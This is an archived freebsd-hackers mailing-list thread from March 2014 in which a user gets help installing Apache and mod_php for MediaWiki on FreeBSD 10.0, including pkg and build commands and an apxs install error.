c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=pHVMzvVxdCHccJaxEJF01/3e6Az7f/MVkTWnv4kAQv0=; b=bxktxMefbFma5ggp4HvH3KxgtWW/If1d/cZATYLRrEBEeAG64okOCD3+wWDg9G08Lm zJy1qHQifFicqgkO8ZJDhyvyIaF7YpVbvtttu2Co7r/pgmhMYO9SEkFrCyvHiGAjg7WB qL59ARRRtWSoHLlegHNSDw517f3G6c6YDPHhfhRtTw2OA9ksYrv5XpVNgYZTg3lBnLls a7RzaabJ2YIxC9RYTR8be3wNOM1ICMl0TGLA+CSBxgS88kI4vNuScjf+w2OjV2q/YHZi uv8vlhvamvPa/9uvMcMPMcypC8PtG3YAogZGCr9kWvQKJ8trSWpHXX2SadUUMELQk+QK mYgw== MIME-Version: 1.0 X-Received: by 10.60.232.42 with SMTP id tl10mr1780175oec.77.1396279751760; Mon, 31 Mar 2014 08:29:11 -0700 (PDT) Sender: aled.w.morris@googlemail.com Received: by 10.182.14.35 with HTTP; Mon, 31 Mar 2014 08:29:11 -0700 (PDT) Date: Mon, 31 Mar 2014 16:29:11 +0100 X-Google-Sender-Auth: b_gBIbJCgxIADrSrX-NwQTp3lf4 Message-ID: Subject: despairing with apache httpd + php From: Aled Morris To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 15:29:12 -0000 I'm tearing my hair out trying to get a simple Apache HTTPD and mod_php install for running mediawiki (mysql) under FreeBSD-10.0-RELEASE I can't get a working system whichever way I try. Either mod_php.so doesn't seem to get built or I'm getting XML problems (Class 'DOMDocument' not found) I've tried installing packages with the new "pkg" tool I've tried compiling from ports. I've tried downloading Apache and PHP source and building those. Has anyone done this? I didn't think I was trying anything exotic here but I've wasted two days now! Aled From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 15:50:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F39052F2 for ; Mon, 31 Mar 2014 15:50:44 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BF3F7F6D for ; Mon, 31 Mar 2014 15:50:44 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s2VFrS3e000406; Mon, 31 Mar 2014 08:53:34 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s2VFrNP7000402; Mon, 31 Mar 2014 08:53:23 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Mon, 31 Mar 2014 08:53:23 -0700 (PDT) Message-ID: <8b74e1be5e620292f9fc005e137dae8b.authenticated@ultimatedns.net> In-Reply-To: References: Date: Mon, 31 Mar 2014 08:53:23 -0700 (PDT) Subject: Re: despairing with apache httpd + php From: "Chris H" To: "Aled Morris" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 15:50:45 -0000 Greetings. > I'm tearing my hair out trying to get a simple Apache HTTPD and mod_php > install for running mediawiki (mysql) under FreeBSD-10.0-RELEASE > > I can't get a working system whichever way I try. Either mod_php.so > doesn't seem to get built or I'm getting XML problems (Class 'DOMDocument' > not found) > > I've tried installing packages with the new "pkg" tool > > I've tried compiling from ports. > > I've tried downloading Apache and PHP source and building those. > > Has anyone done this? I didn't think I was trying anything exotic here but > I've wasted two days now! No offense. But there's nothing here that indicates anything, but that you've built/installed www/apache-*, and lang/php* several times, and in several different ways. There is absolutely no indication that any of the build/installs failed their intended purposes. What makes you believe there was any problem with the build/installs? Is there any output from phpinfo();? If you get the standard table output, you can be assured that the build/install was successful. In other words; you haven't given us anything to work with here. (Class 'DOMDocument' not found) is of little, to no value. :) --Chris > > Aled > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:02:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5DAF2846 for ; Mon, 31 Mar 2014 16:02:15 +0000 (UTC) Received: from mail-oa0-x233.google.com (mail-oa0-x233.google.com [IPv6:2607:f8b0:4003:c02::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 2594E174 for ; Mon, 31 Mar 2014 16:02:15 +0000 (UTC) Received: by mail-oa0-f51.google.com with SMTP id i4so9537369oah.24 for ; Mon, 31 Mar 2014 09:02:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=tC7J5R8NtwbCRtXMkebhCOp9+k21ZJR8UpS5hip2yyA=; b=WL4qlFWdAJKDCRtSN0+2m1oxLeVU73OlDzmOnHPbieAzuPhmNxYT8e9UZydKPez403 Xj9gyBiAmx45i2I6Xfs4OBWq0sCLgRZyDc4qCKwE5MiBBm5vUxlsEGZaINDmgMfcxtHM 3jDXeybOU60M6aaPnmLWF3+rXp1fM+R+zpK2hqRO0QWBKdVPqv6j5LUz+iCwlp2uqHDk AT8ywMPBaFbwDDHIFrHU0spMhTdq+7V5RDcKlMULpJb86FKDFhVIXsStlFDU77kNgEv+ PBwNpIdwvHVGhQiekr5k9IGN18ExvCHaKqpdDz25K2oaOAbrxwYKNGg5qBoDZR07yRrN /Eew== MIME-Version: 1.0 X-Received: by 10.60.115.129 with SMTP id jo1mr23702668oeb.0.1396281734498; Mon, 31 Mar 2014 09:02:14 -0700 (PDT) Sender: aled.w.morris@googlemail.com Received: by 10.182.14.35 with HTTP; Mon, 31 Mar 2014 09:02:14 -0700 (PDT) In-Reply-To: <8b74e1be5e620292f9fc005e137dae8b.authenticated@ultimatedns.net> References: <8b74e1be5e620292f9fc005e137dae8b.authenticated@ultimatedns.net> Date: Mon, 31 Mar 2014 17:02:14 +0100 X-Google-Sender-Auth: VBNeHHZF0EdD4CQlACPEIrGefwU Message-ID: Subject: Re: despairing with apache httpd + php From: Aled Morris To: Chris H Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:02:15 -0000 On 31 March 2014 16:53, Chris H wrote: > No offense. But there's nothing here that indicates anything, but that > you've > built/installed www/apache-*, and lang/php* several times, and in several > different ways. Sorry, I know - I'm venting my frustration on the list :-) > There is absolutely no indication that any of the > build/installs failed their intended purposes. > I think I need some basic help on getting apache with mod_php installed using the "pkg" tool. Firstly, is it even possible? Or am I barking up the wrong tree? What packages do I need and which order do I install them? $ sudo pkg install apache24 $ sudo pkg install php55-mysql this doesn't result in an web server that executes php. I have no idea what to add to the httpd.conf to make it load php since there doesn't seem to be a "mod_php" file in the php package. Aled From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:07:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 94CDEAF1 for ; Mon, 31 Mar 2014 16:07:44 +0000 (UTC) Received: from mail-qa0-x22f.google.com (mail-qa0-x22f.google.com [IPv6:2607:f8b0:400d:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 55D2A275 for ; Mon, 31 Mar 2014 16:07:44 +0000 (UTC) Received: by mail-qa0-f47.google.com with SMTP id w5so8217040qac.20 for ; Mon, 31 Mar 2014 09:07:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=8dRxWspl/hCJzJiQ+KZJK9EFcl/q5BxAB+IogxJfAfU=; b=0K6eN4nztMOi9TlQ8c9lzSag2AfvRtBTZI6iX9ij2I5Yty/ztLbvFHLu6VFYm/LwGZ HilVW3lVYj5nzrAC0P9J4ue4Nsck+UnLpHoyZVZ81JSKxM5lq/2efSGuzyDQFh3ux+t5 lwLcIu2q7H5yjXkxIRPW3t3Kfrkk+ms3gpEl1amIapK+gJ9DtQBQhXvSngLccfr1V3Ek e9VuQg0ukOFuwMLrkgmqX8Ywh+e+zOIOnDu8EgajlY1k7dlRLe9szJw6ntw46wQct/5z fYCmNn9ShxGCW3efUTTkVmJKChCXEecZuEJ+Dt+Xnp8/VDWNCFzweeMufnvgahdbzCa0 TaEg== MIME-Version: 1.0 X-Received: by 10.140.91.105 with SMTP id y96mr27526845qgd.3.1396282063369; Mon, 31 Mar 2014 09:07:43 -0700 (PDT) Received: by 10.140.94.232 with HTTP; Mon, 31 Mar 2014 09:07:43 -0700 (PDT) In-Reply-To: References: <8b74e1be5e620292f9fc005e137dae8b.authenticated@ultimatedns.net> Date: Mon, 31 Mar 2014 18:07:43 +0200 Message-ID: Subject: Re: despairing with apache httpd + php From: Carlos To: Aled Morris Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:07:44 -0000 > > I think I need some basic help on getting apache with mod_php installed > using the "pkg" tool. Firstly, is it even possible? Or am I barking up > the wrong tree? > > What packages do I need and which order do I install them? > > $ sudo pkg install apache24 > $ sudo pkg install php55-mysql > > this doesn't result in an web server that executes php. I have no idea > what to add to the httpd.conf to make it load php since there doesn't seem > to be a "mod_php" file in the php package. > > Aled > _______________________________________________ Have you read this entry on port's UPDATING file? 20140327: AFFECTS: users of lang/php5 and lang/php55 with Apache module AUTHOR: ale@FreeBSD.org The Apache PHP module has been separated from the main PHP port. If it is needed, install either www/mod_php5 or www/mod_php55. Best regards From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:12:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F0D27E25 for ; Mon, 31 Mar 2014 16:12:34 +0000 (UTC) Received: from mail-oa0-x232.google.com (mail-oa0-x232.google.com [IPv6:2607:f8b0:4003:c02::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B3A54349 for ; Mon, 31 Mar 2014 16:12:34 +0000 (UTC) Received: by mail-oa0-f50.google.com with SMTP id i7so9511411oag.23 for ; Mon, 31 Mar 2014 09:12:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=/W+TL1tMpKX5hBMLSyaU6nKiHLFPweoTna1NnjyPHd8=; b=Q2IyJDikHy9eahx7HXALHEw0MdswlyHfiSXUids/0GwDb4nAjvBGPsAYaAT0VyMJh/ uLfOPSRL8TEDIor6lXYdr1TeWl11a6Qkf8xesq8Gt6XI7mt+fMhUocCQV0kukVoB1IYe BGl6ictK4PRZ7uPn2rH3ix/+XjWSVMIhz+lwq3YG7nN6vDiPjrpeaH6oqmuZNeK7Abvd ObN7Naf1or3GnsUf8NtBiKe5X++0H/Qco1cneVNyA+GUW1TUHHf9+x5QDd7SsZ7D9ZPI 6yFcWUvoO/9lqp2adA5eJjz/bRZ+348f6R6Z0DhOAie2FRupR/4xguTs9DK6S/eDFpvz Hdew== MIME-Version: 1.0 X-Received: by 10.182.126.167 with SMTP id mz7mr2385979obb.69.1396282353979; Mon, 31 Mar 2014 09:12:33 -0700 (PDT) Sender: aled.w.morris@googlemail.com Received: by 10.182.14.35 with HTTP; Mon, 31 Mar 2014 09:12:33 -0700 (PDT) In-Reply-To: References: <8b74e1be5e620292f9fc005e137dae8b.authenticated@ultimatedns.net> Date: Mon, 31 Mar 2014 17:12:33 +0100 X-Google-Sender-Auth: y6U5YYaFw7478Qy5EdLDdtzFZss Message-ID: Subject: Re: despairing with apache httpd + php From: Aled Morris To: Carlos Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:12:35 -0000 On 31 March 2014 17:07, Carlos wrote: > > Have you read this entry on port's UPDATING file? > > 20140327: > AFFECTS: users of lang/php5 and lang/php55 with Apache module > AUTHOR: ale@FreeBSD.org > > The Apache PHP module has been separated from the main PHP port. > If it is needed, install either www/mod_php5 or www/mod_php55. > > Good find! But... $ sudo pkg install mod_php55 Updating repository catalogue pkg: No packages matching 'mod_php55' available in the repositories $ cd /usr/ports/www/mod_php55 -bash: cd: /usr/ports/www/mod_php55: No such file or directory This is how my whole day has been so far :-) Aled From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:14:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5A466F33 for ; Mon, 31 Mar 2014 16:14:54 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 306E5366 for ; Mon, 31 Mar 2014 16:14:54 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=NiswqvyULdsfr+0YkWpWGDc3kmr0B9uS9S/5ORhZE5M=; b=Ppc3fAe+o80ILmtvbZGsI9yUhiMxGv+nrVi+D73zftRQQNltLaoGFvMDMwHya+Fm/0DmJ8GY9FpDeaS7QFJ9GCtRIQVLA20PLlMT5SscpNdyR0sYeg0vkaz7Iv1RAe21vFZ4rTq0fBtlQXL44BL5AMs6yOAl2jy54L8SRy+Xo/Q=; Received: from [182.55.101.96] (port=40098 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WUerL-00007T-7U; Mon, 31 Mar 2014 10:14:51 -0600 Date: Tue, 1 Apr 2014 00:14:47 +0800 From: Erich Dollansky To: Aled Morris Subject: Re: despairing with apache httpd + php Message-ID: <20140401001447.1c6013d4@X220.alogt.com> In-Reply-To: References: X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:14:54 -0000 Hi, On Mon, 31 Mar 2014 16:29:11 +0100 Aled Morris wrote: > I'm tearing my hair out trying to get a simple Apache HTTPD and > mod_php install for running mediawiki (mysql) under > FreeBSD-10.0-RELEASE > > I can't get a working system whichever way I try. Either mod_php.so > doesn't seem to get built or I'm getting XML problems (Class > 'DOMDocument' not found) which version of Apache? I have 2.2 running since a few years. But I did not succeed with 2.4 as the configuration file format changed. This is just my personal problem and has nothing to do with Apache or PHP. > > I've tried installing packages with the new "pkg" tool > > I've tried compiling from ports. > This is how I have done it. Just get the source, compile and install. But I do not think that it is important to do it like this. You also can do a make install and get it all done in a single step. > I've tried downloading Apache and PHP source and building those. > > Has anyone done this? I didn't think I was trying anything exotic > here but I've wasted two days now! I just upgraded my ports last week and have had no problems then. Please tell us a bit more like versions, error messages and what works and what does not work plus you Apache configuration. Erich From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:21:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6CAAF2E2 for ; Mon, 31 Mar 2014 16:21:11 +0000 (UTC) Received: from mail-qa0-x22c.google.com (mail-qa0-x22c.google.com [IPv6:2607:f8b0:400d:c00::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 2CB893D1 for ; Mon, 31 Mar 2014 16:21:11 +0000 (UTC) Received: by mail-qa0-f44.google.com with SMTP id dc16so3414355qab.17 for ; Mon, 31 Mar 2014 09:21:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=ru9KwdqtoAviBPo36/Q18Aqo9pwc8t34HIQJJFnzrt0=; b=KKSkk3Ur+aErmBDomOQZGMpo348KRzbZp6Io85H8XWj8bo8uvBsO0EZkFw73EARhGh akedvHyC2vErEP4XSoqfazNLWqp/pButwegqjA97FhpFTe4w3QtkZv7ddUf5ataAZ4eU vZRWsXm8FWlk3/qlhqzmHA3KuDXu/1uyouedb3YXuROu1z7fouzxQNCbVy8TZVmXvPPv BuUiVToOYGpPnJHPtzJjMdG73371rGS1OMS0shNQUOak3EOk96fOJMJdpPedQ7LsmmLj YsWqr2+Z2nybRyEqEHzk5rg5L2xMRbfBZP6NqrsYQlRt+B3YtVL5ZJdi3o/tLUyCh8UE Cpsw== MIME-Version: 1.0 X-Received: by 10.224.75.5 with SMTP id w5mr9719653qaj.52.1396282870295; Mon, 31 Mar 2014 09:21:10 -0700 (PDT) Received: by 10.140.94.232 with HTTP; Mon, 31 Mar 2014 09:21:10 -0700 (PDT) In-Reply-To: References: <8b74e1be5e620292f9fc005e137dae8b.authenticated@ultimatedns.net> Date: Mon, 31 Mar 2014 18:21:10 +0200 Message-ID: Subject: Re: despairing with apache httpd + php From: Carlos To: Aled Morris Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:21:11 -0000 2014-03-31 18:12 GMT+02:00 Aled Morris : > On 31 March 2014 17:07, Carlos wrote: >> >> >> Have you read this entry on port's UPDATING file? >> >> 20140327: >> AFFECTS: users of lang/php5 and lang/php55 with Apache module >> AUTHOR: ale@FreeBSD.org >> >> The Apache PHP module has been separated from the main PHP port. >> If it is needed, install either www/mod_php5 or www/mod_php55. >> > > > Good find! > > But... > > $ sudo pkg install mod_php55 > Updating repository catalogue > pkg: No packages matching 'mod_php55' available in the repositories > > $ cd /usr/ports/www/mod_php55 > -bash: cd: /usr/ports/www/mod_php55: No such file or directory > > > This is how my whole day has been so far :-) > > Aled > If you are working with version older than 27/03/2014, you should install lang/php5 or whatever version of php you need. As far as I know, the offical repositories upgrades every wednesday so you are using ports older than 27/03/2014 Best regards From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:22:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0F9273E2 for ; Mon, 31 Mar 2014 16:22:37 +0000 (UTC) Received: from mail-qg0-x235.google.com (mail-qg0-x235.google.com [IPv6:2607:f8b0:400d:c04::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C2616640 for ; Mon, 31 Mar 2014 16:22:36 +0000 (UTC) Received: by mail-qg0-f53.google.com with SMTP id e89so946484qgf.26 for ; Mon, 31 Mar 2014 09:22:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=aynKyrVQcrJixe+2e0F7RphYT9rBStU0+oIt3ka7evk=; b=ECkHl0sMILxScKcdETAdqTVDHDfDTF7B5V1kwNvkXD19ZZlFeIz0UZsQsQD0plqfLU HVsuSDFQVjwmDMqsAal4V87+NQhmKwTTd7Psf3MwPehlSCGcH/x65DHR+SjU5PDnq71+ guqAEVA31xzgmIf6ahmsSlE05ZUEp1RrmTkNhqduqfiiCm/z0Y0dW7v575Cw+jlo5/Yo pbbdl+KCzvUS+WbdgxZqjWgcMHyqhnGUD8kFQbiVNuHK3OcGKURjqhEqhtIZwX07dXod yjANfPzVT/vHY58TP6dfPIHCPKiOe/jEko/crdDI6AgbTY17r90i/ai1lgvsbLhIAoz5 AuJg== MIME-Version: 1.0 X-Received: by 10.224.56.5 with SMTP id w5mr9340475qag.60.1396282955860; Mon, 31 Mar 2014 09:22:35 -0700 (PDT) Received: by 10.140.94.232 with HTTP; Mon, 31 Mar 2014 09:22:35 -0700 (PDT) In-Reply-To: References: <8b74e1be5e620292f9fc005e137dae8b.authenticated@ultimatedns.net> Date: Mon, 31 Mar 2014 18:22:35 +0200 Message-ID: Subject: Re: despairing with apache httpd + php From: Carlos To: Aled Morris Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:22:37 -0000 >> > If you are working with version older than 27/03/2014, you should > install lang/php5 or whatever version of php you need. > > As far as I know, the offical repositories upgrades every wednesday so > you are using ports older than 27/03/2014 > > Best regards You must select build apache module in the port configuration. Best regards From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:23:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2DA614E7 for ; Mon, 31 Mar 2014 16:23:53 +0000 (UTC) Received: from mail-ob0-x230.google.com (mail-ob0-x230.google.com [IPv6:2607:f8b0:4003:c01::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E8D44651 for ; Mon, 31 Mar 2014 16:23:52 +0000 (UTC) Received: by mail-ob0-f176.google.com with SMTP id wp18so9445134obc.35 for ; Mon, 31 Mar 2014 09:23:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=FW0XTdZ5XOipI4TElF6gOMYHzXyjysXV4UKamqmxASw=; b=YIj1lrCOYh4KkZAJQ5JzMR0TcewDRfntiA5gqN6jCMrrHY/+kcCPD6+GZHG89dUdvU nxQxeygSmyI1y1MektE+rbsdxqJq54IiyTjW7NwRPRi+iIwwInYfb1PVTfImdUp6w6pa pJPKKYemTpiUIYcPtrVGUq8ffeOXThAMcDmBLCdqvss8ksGvVsoKomnrrjakE7gPhln4 c6HlvYdr8IUjRupha5BFLE57sD/wstVwNwdZCEtgpie8I9/FW76rTmTjrZzjbL2n/krY hEWHkVZm6Wy5sDpREbzH8B2/6JVNPWHN/SLfGejPPR0vj1k6fAk8a6MrfPnoSMO4Q2NT 4PgQ== MIME-Version: 1.0 X-Received: by 10.60.226.198 with SMTP id ru6mr3472881oec.49.1396283032227; Mon, 31 Mar 2014 09:23:52 -0700 (PDT) Sender: aled.w.morris@googlemail.com Received: by 10.182.14.35 with HTTP; Mon, 31 Mar 2014 09:23:52 -0700 (PDT) In-Reply-To: <20140401001447.1c6013d4@X220.alogt.com> References: <20140401001447.1c6013d4@X220.alogt.com> Date: Mon, 31 Mar 2014 17:23:52 +0100 X-Google-Sender-Auth: MzG88s7JcQjL64gfHgKaUo0iPe4 Message-ID: Subject: Re: despairing with apache httpd + php From: Aled Morris To: Erich Dollansky Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:23:53 -0000 On 31 March 2014 17:14, Erich Dollansky wrote: > This is how I have done it. Just get the source, compile and install. > But I do not think that it is important to do it like this. You also > can do a make install and get it all done in a single step. Compiling php-5.5.10 from source with: $ sh configure --with-mysql --with-apxs2=/usr/local/apache2/bin/apxs $ make results in a build that can't be installed: $ sudo make install ...blah...blah... Warning! dlname not found in /usr/local/apache2/modules/libphp5.la. Assuming installing a .so rather than a libtool archive. chmod 755 /usr/local/apache2/modules/libphp5.so chmod: /usr/local/apache2/modules/libphp5.so: No such file or directory apxs:Error: Command failed with rc=65536 very frustrating! Aled From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:36:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 854B0A63; Mon, 31 Mar 2014 16:36:31 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "mx1.fisglobal.com", Issuer "VeriSign Class 3 Secure Server CA - G3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0C03E7F9; Mon, 31 Mar 2014 16:36:30 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.191]) by ltcfislmsgpa06.fnfis.com (8.14.5/8.14.5) with ESMTP id s2VGaT1c008943 